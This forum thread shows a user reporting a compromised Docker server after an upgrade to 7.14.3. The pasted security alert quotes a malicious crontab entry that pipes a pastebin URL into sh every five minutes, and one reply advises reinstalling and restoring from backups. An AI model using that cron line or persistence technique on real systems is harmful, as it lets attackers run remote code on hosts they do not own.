Malicious script after upgrading 7.14.3

yangkangwei June 16, 2022

Problem:Malicious script after upgrading 7.14.3.

Environment: deploy using docker.

 

ECS abnormal alarm:

Malicious script path: /var/spool/cron/conference1.

Malicious script tag: remote load command, malicious scheduled task persistence, remote load command, kill competitor process.

File creation time: 2021-09-05 12:40:46

Event description: the detection model finds that there is a malicious script file on your server, which is most likely implanted by an attacker after successfully invading the server. It is recommended that you check the legitimacy of the file content according to the label of the malicious script and handle it.

 

Type: crontabitem
Path: /var/spool/cron/conference1
Content: */5 * * * * curl -fssl https://pastebin.com/raw/rH3ZHAvC | sh
Event description: the cloud security center has detected that there is an abnormal self startup item on your host, which is most likely implanted by malware or hackers to keep the malicious program resident. If these self starting items are not handled, the malicious program is likely to be implanted again. Therefore, it is recommended that you use "virus defense" to comprehensively scan and clean the host, or handle it manually according to the details in the alarm.

 

2 answers

0 votes
Daniel Ebers
Rising Star
Rising Star
Rising Stars are recognized for providing high-quality answers to other users. Rising Stars receive a certificate of achievement and are on the path to becoming Community Leaders.
August 17, 2022

Hi @yangkangwei

from what you stated it looks like your server has been compromised. Please note that a cleaning might not be sufficient and the attacker could have left some backdoor allowing him to come back.

From my point of few a reinstallation of the virtual machine would be the safest way to ensure a clean system. Then you would need to inspect carefully backups and restore your instance from a backup.

Regards,
Daniel

0 votes
yangkangwei June 17, 2022

Do you have a brother to help us see how to solve this problem? Thank you

Suggest an answer

Log in or Sign up to answer
TAGS
AUG Leaders

Atlassian Community Events